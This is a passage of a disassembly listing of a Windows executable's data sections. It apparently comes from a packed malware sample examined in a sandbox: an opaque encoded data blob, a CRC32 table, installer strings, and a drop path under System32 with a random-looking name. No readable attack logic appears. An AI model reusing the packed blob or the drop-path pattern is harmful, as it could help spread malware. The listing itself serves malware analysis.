		dd 0E452DD60h, 500E7210h, 85ED03CBh, 4512B092h,	0A04054E8h
		dd 0F43AE8A5h, 0EA03FA04h, 78A1EB03h, 0F3604BEBh, 3E347861h
		dd 3F3EC1Fh, 9DE277Ch, 0BA96AC2Ch, 0B600DD46h, 4FBA8772h
		dd 94F551D5h, 3DA7AD0Bh, 2EE05F69h, 0DA2B7481h,	83A67740h
		dd 0A11A10E9h, 0BEA1BA09h, 0F469D2A5h, 0CE8B3A30h, 42E973A1h
		dd 893D3C7Ah, 0D3A7A52Eh, 3479E8B3h, 184C08C3h,	30C4C913h
		dd 93224C71h, 6932A4C2h, 8B2630CCh, 0C17261C9h,	26678FEFh
		dd 84C0A531h, 2B2C8166h, 62CC0598h, 0B3256890h,	6CCF5986h
		dd 5530B662h, 0F660ECCh, 641CCD53h, 9877308Eh, 531D4CFBh
		dd 3F00B8CFh, 0D8FD65F0h, 0C815B640h, 0B306C0DBh, 12C22C21h
		dd 0C00AC32Ch, 4F96214h, 0E7CF933Eh, 0F893F2C7h, 7E02FC79h
		dd 7F9EBF39h, 3F9CFF9Fh, 4811B7CBh, 85273F60h, 0F80782DBh
		dd 0CFF030ECh, 0F074C483h, 63C433C8h, 979163E2h, 4826905Eh
		dd 0A407491Fh, 30197291h, 0F7A0639Eh, 649FE437h, 0B3EAA9A0h
		dd 22F224FCh, 0C0778EF8h, 0CF075C4Bh, 408D06D0h, 0B03BA247h
		dd 0E221C46Dh, 0A21BE24Bh, 0CE469C88h, 9F903721h, 42C12D90h
		dd 0D4B9A833h, 0EA0BEA0Ah, 7201E531h, 0A5EF485Bh, 0E857D3CFh
		dd 219DDA7Ah, 61431641h, 0E781FB7Eh, 6534C2FCh,	6838B39Bh
		dd 823B2C4Ch, 0D82B63CDh
		dd 0AC9FEC13h, 0A970871Fh, 0C7DCFBDCh, 14EE5EDCh, 6BB9E77h
		dd 0CE57EFACh, 9FE3F78Dh, 38F23BE3h, 7CE9F1CFh,	7FCA5F11h
		dd 7DE7EFC4h, 12417F05h, 0C0B98472h, 0BB095660h, 95710284h
		dd 2C57B8h, 0F415BEFFh,	0B7F004E3h, 782FB948h, 0ED658FD9h
		dd 3F2526B9h, 83E23C5Eh, 8327438Eh, 0BB44AC36h,	81961C63h
		dd 0C03EC06Dh, 27E400BEh, 8E7F0E70h, 0C4F048E8h, 69D1C060h
		dd 31C4FBC4h, 11E257E2h, 0E7C9CD1h, 0E44BDB18h,	7914F246h
		dd 7549BC8Eh, 236833A4h, 636C1ABDh, 6ECCC3Bh, 8FDD3BFDh
		dd 606CC519h, 0C3DF338Eh, 8336449Ch, 0B36765CDh, 0B19FB09Fh
		dd 0F665EC35h, 6B8DD63Bh, 1EE50DC6h, 3786D71h, 0F97DF32Fh
		dd 0BF1D7E72h, 7BC7BF99h, 0F5D5F01h, 78A56B3Ch,	85226C4Fh
		dd 91C98702h, 0A51B4AE6h, 52DBA56Fh, 0C314603Bh, 5AF285E4h
		dd 0E4BB0960h, 0F27BE46Fh, 80FAB21Fh, 4F073AA2h, 27B36ED0h
		dd 5F04FCEEh, 647C03DCh, 7C133611h, 3AC3EDDh, 0DE2CE38Eh
		dd 14D47C07h, 2DFC0DFCh, 9F3E397Ch, 0EC508F78h,	0E7200E7Eh
		dd 0D52EEA35h, 634EEE86h, 80BA40F4h, 0BB9A071Eh, 0DC017698h
		dd 615E652Ch, 1CE65DEh,	9A63AD27h, 2CD8BDB0h, 8FBB2376h
		dd 0E5F59EFDh, 0C146E25Eh, 2E31CFAh, 875802F9h,	402DFC53h
		dd 58A178A6h, 0F624E8h,	152916BEh, 0D5A48B49h, 5AAAAC0Eh
		dd 0ED645FEh, 0FCA1D887h, 8E19164Eh, 0F1FE038Ch, 5A34207h
		dd 0A29612C0h, 0B82302EFh, 51463E85h, 2C58CEB0h, 3DEB5009h
		dd 646034ECh, 0FF14BE3Ah, 5E23F711h, 1F112620h,	4FC0A711h
		dd 909A223Dh, 0AD3BC12Dh, 65A9B321h, 0A50F4714h, 802E635Fh
		dd 23623465h, 10EC7ED8h, 0EC659EC0h, 7B07762Ah,	96C7BD81h
		dd 9E213371h, 0CA6B9EF8h, 0F0AFE01Fh, 0F7EE4157h, 17420785h
		dd 0E9781C31h, 0B0297124h, 5DE2F3FFh, 60677F90h, 9252E191h
		dd 958D2994h, 410B4B66h, 8FB92883h, 2E7F279Ch, 2B1F939Fh
		dd 0F38486E3h, 0EE2F8069h, 41F7EE2Ah, 100191E2h, 46470C03h
		dd 89BFF603h, 40DF468Ch, 733E02DFh, 0E8B381Bh, 24998163h
		dd 81990301h, 0F1E9877Dh, 181DC066h, 0AB221CBCh, 0B953106Dh
		dd 0E7F4F81h, 0C44BFA3Ch, 39E0C038h, 1083A330h,	111D41Fh
		dd 0A0F06B64h, 0E4ADC94Bh, 9901F251h, 0D6A60D48h, 83A8DB52h
		dd 8DCA39D4h, 5391016Eh, 8CCE034h, 0F4F9E640h, 73BCD052h
		dd 79A037F4h, 0E014D0BFh, 0CC532270h, 0DA9584CCh, 0E636CC4h
		dd 0B5617731h, 3B146C74h, 0CD897D88h, 73B3A761h, 1EC5DD9h
		dd 0D64DC490h, 0FAE3F38Bh, 0C4808972h, 0DC1570AFh, 770F6E36h
		dd 0E737FB86h, 0CDF27BCAh, 0CA3C1EF8h, 0F84BE30Fh, 0FC69F997h
		dd 7F2D7E0Ah, 9FAAE20Eh, 11084E21h, 216884C2h, 0A174841h
		dd 0CD84B784h, 5709542h, 0C29B81A2h, 203F826Fh,	96F054C7h
		dd 878A9Fh, 7F13BF99h, 4BD67405h, 0D20949CFh, 34A86900h
		dd 0BD229A4Eh, 0AF7AEC06h, 4EFA5974h, 4DFA59FAh, 0DB96F2h
		dd 872EEE6Bh, 2E423CBh,	0E5C8C79h, 0F91DF84Ch, 7C1D7C94h
		dd 0A65C3C2Bh, 8A1D079Eh, 600CC808h, 91813BA9h,	83DA455Eh
		dd 0EE8A9D17h, 0F84603h, 89FF02F5h, 8C957441h, 2D6C64Dh
		dd 798B3B6Fh, 831B0C41h, 1065E027h, 3FC36EAFh, 0EEE26FC3h
		dd 88C28FC0h, 711D626Ch, 4C04B880h, 92490DA6h, 0F266E4D1h
		dd 0FC867930h, 9C0B6C9Eh, 53FAA442h, 353E54D9h,	99BB640Eh
		dd 4CBA9CFAh, 813AA6DDh, 2FA79FE6h, 70C1ED3h, 3C089D28h
		dd 0CD930861h, 0CC2533E4h, 0B36FF044h, 33979301h, 0EC3B811Bh
		dd 0C23E1402h, 0F67A017Ch, 2DC45835h, 70E01EE6h, 0DB1DB60Bh
		dd 1C346205h, 0A037B790h, 2FB2258h, 0C51D943Bh,	101EB196h
		dd 88837599h, 0CADB80B6h, 420EE2EDh, 5733FAF4h,	49F145CFh
		dd 0E5DD7D10h, 84AD091Bh, 0E20D2144h, 0E9E0B1D2h, 3669013Eh
		dd 4423B11h, 4B7C4735h,	155E2DDCh, 423A94DFh, 2021F0A4h
		dd 0A5D97DF0h, 0C87B3546h, 1323288Fh, 41EFBB80h, 0AF3B018Eh
		dd 0BBE13A47h, 22C07DF0h, 64F6F06Bh, 4364E02Fh,	254D8780h
		dd 7F060067h, 7F201E40h, 0EE55601h, 929FCA8Ch, 812A28A8h
		dd 34C6074Ah, 0FAA5AA83h, 5D80C9D1h, 6FB3C053h,	97D08FA5h
		dd 18E81FE8h, 987B1C66h, 0DC05B8C5h, 0B689D02Ah, 1F3F327Ch
		dd 497FB1E2h, 5A6A2023h, 0B782B00h, 0DCA7ACBCh,	0AC27C0Eh
		dd 0EC523F9h, 8BC281E0h, 0BB20398Ah, 819C17C1h,	2884DCB1h
		dd 0F7AC0BC1h, 0E5612A18h, 0B9600F58h, 5EDB817Bh, 0F7B4E02h
		dd 374456Fh, 7D132ACEh,	24626489h, 4D3C9CB9h, 517AA776h
		dd 0FAD8C029h, 87832FD0h, 7CBA085Ch, 0FF49BE8Ch, 0E5A180Bh
		dd 4177C0F8h, 3AA96F83h, 83FACBECh, 0D1D8E34Fh,	9D406EECh
		dd 0F645ECD3h, 35CEEB06h, 7140EF05h, 0F2810103h, 0DE3071B9h
		dd 0D72D5C7Dh, 7802F612h, 983F3FBEh, 0E24C089Fh, 221BDE6Bh
		dd 9E20D7D7h, 213C4CFCh, 0D97A0CFEh, 0B6C5E208h, 8FA95752h
		dd 864A4FD4h, 0C4127088h, 6EA40B81h, 20A3B080h,	9F2DDB32h
		dd 0FA9CBC51h, 4E967260h, 408B2DC9h, 390FB504h,	1837FA0Ch
		dd 15FD077Dh, 47B10A6Dh, 300BD630h, 0AB61C69h, 0C7ED8EDBh
		dd 0B1D7614Eh, 0F05B7896h, 0DDC07117h, 0F173E066h, 586AF845h
		dd 0E5C0C38Fh, 0C04DE259h, 15C483D6h, 69F026E2h, 2B0F193Dh
		dd 20DF2463h, 0C90EC357h, 0F21BF259h, 353891Eh,	4D4E1A8h
		dd 53AFAE60h, 0D4E5A88Bh, 0F50B6A6Ah, 6C07B531h, 4A6A86BDh
		dd 3D04748Bh, 27A22E84h, 0D11E7482h, 33124CD1h,	4664C998h
		dd 1B41A332h, 3116655Fh, 31F31EFh, 0BA003823h, 679CC358h
		dd 0D38F05BEh, 3BB0F408h, 0ECB5D178h, 8E73E0A7h, 0DFB25FB3h
		dd 0CFFB580h, 0FCE5F2D2h, 175CF6B9h, 0E0D96655h, 57702F4Dh
		dd 3EE51760h, 0C3E727F7h, 0F33BE4B7h, 67C33C21h, 9F9A3F0h
		dd 8137B720h, 2C0BBD83h, 0E330276Ch, 0DF9480F3h, 4FC0201h
		dd 0F61A3FF6h, 0DE01DE4Eh, 0FEAC1E79h, 0BD17A09Eh, 8EFEE21h
		dd 80BFFEF1h, 7F06743Dh, 0F7A48B5h, 0F4BF7E70h,	0FA4174B9h
		dd 0BA51FA5Ah, 42903D2Bh, 0E1221A64h, 5E51B241h, 0F10FBF2Dh
		dd 6B8801EDh, 568B012Fh, 53489C9Eh, 89922B28h, 0F818A2F8h
		dd 75F464A9h, 0E8C3F0B0h, 5B93C02Fh, 930DD63h, 700795FCh
		dd 11B8A1B2h, 0D3F1069Fh, 0B057FC11h, 0E284C6EBh, 25827197h
		dd 380F837Ah, 990C44Eh,	0F6D028E4h, 0EC631025h,	5793F724h
		dd 4949E760h, 395D3016h, 7950035Fh, 5ABEC418h, 220CBBD4h
		dd 3DC2255Dh, 12AD7102h, 5601DED5h, 6C510BE8h, 0C735EA90h
		dd 2A20F363h, 0B93C02ACh, 0F58DC0Ch, 0C4085E71h, 2EEC8E6Eh
		dd 24DD380Dh, 0E8CB7260h, 0FA1EF44Dh, 2DC5A038h, 0C0BE3360h
		dd 0CF804384h, 96E681C4h, 0F9738300h, 0E7A97FAFh, 7107A817h
		dd 83C975F4h, 9D901F44h, 84632B31h, 17D9FFCBh, 0E0A81CA3h
		dd 9482EAEAh, 0F0F57607h, 663331EAh, 758DEFE6h,	0CB2B5C8Dh
		dd 0A5C25B03h, 0E9D5700h, 7AF8826Dh, 5C776A78h,	9484E1DDh
		dd 0CFDE1E11h, 0BAF4E87Bh, 0A755DA72h, 0BC841CAFh, 5736E080h
		dd 0DC5D229Ah, 86952E74h, 834AED55h, 0E501D4E0h, 8AEC024Fh
		dd 0D1B6BF6Bh, 29213F7Eh, 0C6E7607Fh, 5FBD59AEh, 3F0FE8AFh
		dd 0B93C166Eh, 0F41918B0h, 3FF6BCEDh, 6F2CA9CEh, 0AEE5232Ah
		dd 0BBB7F0D5h, 0ECC0606Bh, 0DCE62FAAh, 13F07758h, 57D2F0F2h
		dd 7F6B1D67h, 1BE0792Ch, 90CB6348h, 59187A75h
dword_428C58	dd 1ABF8h		; DATA XREF: sub_402BAB+3Cr
					; sub_402C37+71w ...
		align 10h
word_428C60	dw 0			; DATA XREF: start+20Bo start+217w
		align 4
		dd 1FDh	dup(0)
		db 2 dup(0)
dword_42945A	dd 0			; DATA XREF: start+255r
		align 10h
dword_429460	dd 100h	dup(0)		; DATA XREF: start+210o
dword_429860	dd 2 dup(0)		; DATA XREF: start+38o
					; sub_404201:loc_404491o
dword_429868	dd 0			; DATA XREF: sub_4038DB+B0r
					; sub_4038DB+1BCw ...
dword_42986C	dd 0			; DATA XREF: sub_403ED7+6r
					; sub_403ED7+28w ...
dword_429870	dd 100h	dup(0)		; DATA XREF: sub_404201+1CCo
dword_429C70	dd 0			; DATA XREF: sub_4038DB+141w
					; sub_4038DB+15Bw ...
		align 8
dword_429C78	dd 100h	dup(0)		; DATA XREF: sub_404201+10Co
dword_42A078	dd 0			; DATA XREF: sub_4038DB+3C1w
					; sub_403F0B+155r ...
		align 10h
byte_42A080	db 0			; DATA XREF: sub_404D7E+20o
					; sub_404D7E+C5w
		align 4
		dd 1FFh	dup(0)
dword_42A880	dd 0			; DATA XREF: sub_403542+1E6w
					; sub_403542+210r ...
dword_42A884	dd 0			; DATA XREF: sub_404740+38w
					; sub_404740+47r ...
dword_42A888	dd 0			; DATA XREF: sub_403F0B+115w
					; sub_403F0B+149r ...
dword_42A88C	dd 0			; DATA XREF: sub_4038DB+195w
					; sub_4038DB+1E4w ...
dword_42A890	dd 0			; DATA XREF: sub_404201:loc_40437Aw
					; sub_404201+2D2r ...
dword_42A894	dd 0			; DATA XREF: sub_404740+28w
					; sub_404CBD+AFr
dword_42A898	dd 0			; DATA XREF: sub_4046C3+78w
					; sub_404740+147r ...
dword_42A89C	dd 0			; DATA XREF: sub_4038DB+1B0w
					; sub_4038DB:loc_403C20r ...
byte_42A8A0	db 0			; DATA XREF: sub_403542:loc_403576o
					; sub_403542+54r ...
		align 4
		dd 3FFh	dup(0)
dword_42B8A0	dd 0			; DATA XREF: sub_402908:loc_40290Ar
					; sub_4038DB:loc_403D6Br ...
		align 8
dword_42B8A8	dd 100h	dup(0)		; DATA XREF: sub_40531D:loc_40536Fo
dword_42BCA8	dd 100h	dup(0)		; DATA XREF: sub_4055C8+6o
dword_42C0A8	dd 100h	dup(0)		; DATA XREF: sub_405723+94o
					; sub_405723+13Bo
dword_42C4A8	dd 100h	dup(0)		; DATA XREF: sub_405723:loc_405793o
dword_42C8A8	dd 44h			; DATA XREF: sub_405263+9w
					; sub_405263+2Bo
		dd 11h dup(0)
dword_42C8F0	dd 50h dup(0)		; DATA XREF: sub_405CB0+10o
dword_42CA30	dd 0			; DATA XREF: sub_405723+32w
					; sub_405723+43o
		dd 0FFh	dup(0)
dword_42CE30	dd 0			; DATA XREF: sub_405D4B+27w
					; sub_405D4B+5Ar
dword_42CE34	dd 77073096h		; DATA XREF: sub_405D4Br
		dd 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh, 0E963A535h
		dd 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh,	97D2D988h
		dd 9B64C2Bh, 7EB17CBDh,	0E7B82D07h, 90BF1D91h, 1DB71064h
		dd 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh,	6DDDE4EBh
		dd 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h,	0FD62F97Ah
		dd 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h,	8D080DF5h
		dd 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h, 3C03E4D1h
		dd 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh, 42B2986Ch
		dd 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h, 0DCD60DCFh
		dd 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h, 0BFD06116h
		dd 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh, 2802B89Eh
		dd 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h, 58684C11h
		dd 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h,	98D220BCh
		dd 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h, 0E8B8D433h
		dd 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h,	7F6A0DBBh
		dd 86D3D2Dh, 91646C97h,	0E6635C01h, 6B6B51F4h, 1C6C6162h
		dd 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh,	8208F4C1h
		dd 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh,	0FCB9887Ch
		dd 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h,	4DB26158h
		dd 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h, 3DD895D7h
		dd 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh, 0AD678846h
		dd 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh, 0DD0D7CC9h
		dd 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h, 5768B525h
		dd 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh, 29D9C998h
		dd 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h, 0B7BD5C3Bh
		dd 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch,	74B1D29Ah
		dd 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h, 0E3630B12h
		dd 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh,	9309FF9Dh
		dd 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h,	1E01F268h
		dd 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h,	6E6B06E7h
		dd 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh,	0F9B9DF6Fh
		dd 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h,	0A1D1937Eh
		dd 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h, 3FB506DDh
		dd 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h, 41047A60h
		dd 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h, 0CB61B38Ch
		dd 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h, 0BB0B4703h
		dd 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h, 2BB45A92h
		dd 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh, 5BDEAE1Dh
		dd 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah, 9C0906A9h
		dd 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h, 0E2B87A14h
		dd 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh,	7CDCEFB7h
		dd 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h,	1FDA836Eh
		dd 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h,	88085AE6h
		dd 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh,	0F862AE69h
		dd 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh, 4E048354h
		dd 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh, 3E6E77DBh
		dd 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h, 0A9BCAE53h
		dd 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch, 0CABAC28Ah
		dd 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h, 54DE5729h
		dd 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h, 2A6F2B94h
		dd 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
dword_42D230	dd 0			; DATA XREF: sub_405DB9+18Do
					; sub_405DB9+1C8r
dword_42D234	dd 0			; DATA XREF: sub_405DB9+158o
					; sub_405DB9+1C0r
dword_42D238	dd 8Fh dup(0)		; DATA XREF: sub_405DB9+114o
					; sub_405DB9+148o ...
dword_42D474	dd 71h dup(0)		; DATA XREF: sub_405DB9:loc_405ED2o
dword_42D638	dd 18h dup(0)		; DATA XREF: sub_405DB9+122o
dword_42D698	dd 8 dup(0)		; DATA XREF: sub_405DB9:loc_405EE6o
dword_42D6B8	dd 3			; DATA XREF: sub_405DB9+13Eo
					; sub_4068B0+E8w ...
		dd 4, 0Ah, 0Eh,	10h, 12h, 14h, 0
		dd 6, 7, 8, 0Bh, 0Ch, 0Dh, 0Fh,	11h, 13h, 15h, 16h, 17h
		dd 18h,	1Ah, 1Ch, 5, 9,	19h, 1,	1Bh, 2,	1Dh, 11Dh, 2, 4
		dd 8, 0Ch, 0Fh,	10h, 14h, 15h, 20h, 28h, 2Eh, 30h, 31h
		dd 35h,	3Fh, 43h, 44h, 48h, 49h, 4Ch, 52h, 54h,	56h, 57h
		dd 5Fh,	61h, 63h, 66h, 67h, 69h, 6Ah, 6Ch, 6Eh,	6Fh, 75h
		dd 78h,	7Dh, 80h, 88h, 98h, 0A8h, 0B8h,	0BCh, 0C0h, 0C7h
		dd 0CCh, 0D0h, 0D8h, 0DCh, 0E8h, 0F8h, 0FCh, 10Ch, 10Dh
		dd 10Fh, 3, 6, 7, 9, 0Ah, 0Eh, 11h, 13h, 18h, 1Ch, 1Dh
		dd 1Fh,	21h, 24h, 2Fh, 32h, 33h, 34h, 36h, 37h,	38h, 3Ah
		dd 3Ch,	3Dh, 41h, 42h, 46h, 4Bh, 4Eh, 4Fh, 53h,	58h, 5Ah
		dd 5Ch,	5Dh, 60h, 62h, 6Dh, 76h, 77h, 7Ch, 7Fh,	83h, 84h
		dd 85h,	90h, 94h, 95h, 0A4h, 0B0h, 0B4h, 0BAh, 0C3h, 0C4h
		dd 0C8h, 0D4h, 0D6h, 0D7h, 0E0h, 0E4h, 0EBh, 0ECh, 0F0h
		dd 0F4h, 0F7h, 10Eh, 110h, 5, 0Bh, 0Dh,	12h, 16h, 17h
		dd 19h,	1Bh, 1Eh, 23h, 27h, 29h, 2Ah, 2Bh, 2Ch,	2Dh, 39h
		dd 3Bh,	3Eh, 47h, 4Ah, 59h, 5Bh, 5Eh, 6Bh, 71h,	79h, 7Bh
		dd 7Eh,	86h, 8Ch, 8Eh, 91h, 92h, 93h, 9Ah, 9Ch,	0A0h, 0ACh
		dd 0B5h, 0B7h, 0BDh, 0C1h, 0CFh, 0D3h, 0DBh, 0E9h, 0EEh
		dd 0F6h, 0FBh, 0FDh, 0FEh, 111h, 1Ah, 22h, 25h,	26h, 7Ah
		dd 81h,	87h, 8Ah, 96h, 99h, 9Dh, 9Eh, 9Fh, 0A1h, 0A2h
		dd 0A6h, 0A7h, 0AAh, 0ABh, 0BBh, 0BFh, 0C2h, 0C5h, 0CAh
		dd 0CDh, 0D1h, 0E6h, 0EFh, 0F9h, 114h, 115h, 116h, 117h
		dd 8Fh,	97h, 9Bh, 0A9h,	0ADh, 0AEh, 0AFh, 0B2h,	0B3h, 0B6h
		dd 0B9h, 0BEh, 0C6h, 0C9h, 0D5h, 0DAh, 0DDh, 0DFh, 0E2h
		dd 0E3h, 0E5h, 0E7h, 0EDh, 0F3h, 0FAh, 118h, 119h, 0A5h
		dd 0CBh, 0CEh, 0D2h, 0D9h, 0DEh, 0E1h, 0EAh, 0F2h, 0F5h
		dd 100h, 112h, 113h, 11Ah, 100h, 116h, 118h, 119h, 4 dup(0)
dword_42DB38	dd 220h	dup(0)		; DATA XREF: sub_405DB9+14Eo
					; sub_405DB9+183o
byte_42E3B8	db 0			; DATA XREF: sub_405DB9:loc_405EBCr
					; sub_405DB9+1AAw
		align 10h
aCWindowsSyst_3	db 'C:\WINDOWS\System32\b06FdUe\b06FdUe1083.exe',0
					; DATA XREF: sub_403542+B0o
					; sub_403542+C4r ...
		dd 1F5h	dup(0)
dword_42EBC0	dd 0			; DATA XREF: sub_403542+157o
dword_42EBC4	dd 0			; DATA XREF: sub_403542+17Aw
		align 10h
dword_42EBD0	dd 0			; DATA XREF: sub_403542+184w
dword_42EBD4	dd 0			; DATA XREF: sub_403542+168w
		dd 3 dup(0)
dword_42EBE4	dd 0			; DATA XREF: sub_403542+18Aw
					; sub_403542+25Aw
dword_42EBE8	dd 0			; DATA XREF: sub_404D7E+68r
					; sub_404EBC+75w
dword_42EBEC	dd 0			; DATA XREF: sub_401439:loc_40149Fw
					; sub_403542+2A3r ...
dword_42EBF0	dd 0			; DATA XREF: sub_401439:loc_401587r
					; sub_404EBC+66w ...
dword_42EBF4	dd 0			; DATA XREF: sub_40136D+5Cr
					; sub_404EBC+99w
dword_42EBF8	dd 0			; DATA XREF: sub_4038DB+67r
					; sub_4038DB+77w ...
dword_42EBFC	dd 14F530h		; DATA XREF: sub_40380E:loc_403883w
					; sub_403F0B+20r ...
dword_42EC00	dd 0			; DATA XREF: sub_403542:loc_4037AFr
					; sub_40380E+4Dw ...
dword_42EC04	dd 0			; DATA XREF: sub_401439:loc_4015A0r
					; sub_404D7E+6r ...
dword_42EC08	dd 3004Dh		; DATA XREF: sub_403542+14Ew
					; sub_4038DB+1C6r
dword_42EC0C	dd 0			; DATA XREF: sub_40136D+56w
					; sub_40136D+72r ...
		dd 4 dup(0)
aNameSetup	db 'Name Setup',0       ; DATA XREF: sub_401148+8o start+48o ...
		align 4
		dd 1FDh	dup(0)
dword_42F420	dd 400000h		; DATA XREF: sub_402C37+27r
					; sub_402C37:loc_402D97r ...
dword_42F424	dd 0			; DATA XREF: sub_401000:loc_401019r
					; sub_401439+9r ...
dword_42F428	dd 14ECD8h		; DATA XREF: sub_401000:loc_401039r
					; sub_4012E2+6r ...
dword_42F42C	dd 7E00h		; DATA XREF: sub_4026FA+66r
					; sub_402C37:loc_402CB5r ...
dword_42F430	dd 88h			; DATA XREF: sub_402C37+242w
					; sub_403542+81r ...
dword_42F434	dd 0			; DATA XREF: sub_402C37:loc_402E80w
					; start+16Br
		align 10h
dword_42F440	dd 14EDF8h		; DATA XREF: sub_402C37:loc_402EAAo
					; sub_4038DB+1F6r
dword_42F444	dd 0			; DATA XREF: sub_4038DB+9Er
					; sub_4038DB+25Dr ...
dword_42F448	dd 14EDF8h		; DATA XREF: sub_40117D+4r
					; sub_4011EF+12r ...
dword_42F44C	dd 1			; DATA XREF: sub_401198+7r
					; sub_4011D0+11r ...
dword_42F450	dd 14F210h		; DATA XREF: sub_40136D+Cr
		dd 0Ah
dword_42F458	dd 14F328h		; DATA XREF: sub_403542+ABr
					; sub_403F0B:loc_403F3Cr ...
		align 10h
dword_42F460	dd 14F526h		; DATA XREF: sub_40380E+2Er
dword_42F464	dd 1			; DATA XREF: sub_40380E:loc_403822r
dword_42F468	dd 14F5C8h		; DATA XREF: sub_401439:loc_401D13r
		align 10h
		dd 14ECD8h, 0
dword_42F478	dd 8063h		; DATA XREF: sub_402EBD+36r
		align 10h
dword_42F480	dd 0			; DATA XREF: sub_4046C3+59w
					; sub_404740+3D0w
		dd 7 dup(0)
dword_42F4A0	dd 0			; DATA XREF: sub_401439+111w
					; sub_401439+141r ...
dword_42F4A4	dd 0			; DATA XREF: sub_402B61+8r
					; sub_4059FD:loc_405B2Ar
dword_42F4A8	dd 1			; DATA XREF: sub_401439:loc_4018C2w
					; sub_402908+2Aw ...
dword_42F4AC	dd 0			; DATA XREF: sub_4038DB+132r
					; sub_4038DB+2CDr ...
dword_42F4B0	dd 0			; DATA XREF: sub_405723:loc_405895w
dword_42F4B4	dd 0			; DATA XREF: sub_4021F6:loc_40229Dw
					; start:loc_40346Ar
		align 10h
dword_42F4C0	dd 8			; DATA XREF: sub_402C37:loc_402E72w
					; sub_403542+202r ...
dword_42F4C4	dd 0			; DATA XREF: sub_404201+2A3w
dword_42F4C8	dd 0			; DATA XREF: sub_40380E+56w
					; sub_4052DB:loc_4052F5r
dword_42F4CC	dd 0FFFFFFFFh		; DATA XREF: start:loc_403322w
					; start:loc_403505r
dword_42F4D0	dd 1			; DATA XREF: sub_401439+BB4r start+27w ...
_data		ends

; Section 4. (virtual address 00030000)
; Virtual size			: 00008000 (  32768.)
; Section size in file		: 00008000 (  32768.)
; Offset to raw	data for section: 00030000
; Flags	C0000080: Bss Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Uninitialized
; Segment permissions: Read/Write
_ndata		segment	para public 'BSS' use32
		assume cs:_ndata
		;org 430000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
dword_430000	dd 1400h dup(0)		; DATA XREF: sub_40136D+2Eo
					; sub_401439+29o ...
byte_435000	db 70h			; DATA XREF: sub_403132+28o
					; start:loc_4031F6o ...
byte_435001	db 61h,	63h, 6Bh	; DATA XREF: start+C6o
		db  65h	; e
		db 64h,	2Eh, 65h
		db  78h	; x
		db 65h,	0, 5Ch
aSriUserLocals1	db 'SRI-user\LOCALS~1\Temp\nso1.tmp',0
		dd 0F5h	dup(0)
aCWindowsSyst_2	db 'C:\WINDOWS\System32',0 ; DATA XREF: sub_4026FA:loc_402721o
					; start+155o ...
		dd 0FBh	dup(0)
aCWindowsSyst_0	db 'C:\WINDOWS\System32\b06FdUe',0 ; DATA XREF: sub_401439+204o
					; sub_401439:loc_4017CAo ...
		dd 0F9h	dup(0)
aCM_unpacker	db 'C:\m_unpacker',0    ; DATA XREF: sub_402C37+1Ao
aPacked_exe	db 'packed.exe',0
		align 4
		dd 0F9h	dup(0)
a1033		db '1033',0             ; DATA XREF: sub_403542+28o
					; sub_403542+39w ...
		align 4
		dd 0FEh	dup(0)
aCDocume1SriUse	db 'C:\DOCUME~1\SRI-user\LOCALS~1\Temp\',0 ; DATA XREF: sub_403132+1o
					; start+52o
		dd 0F7h	dup(0)
dword_436800	dd 200h	dup(0)		; DATA XREF: sub_40351D+1Ao
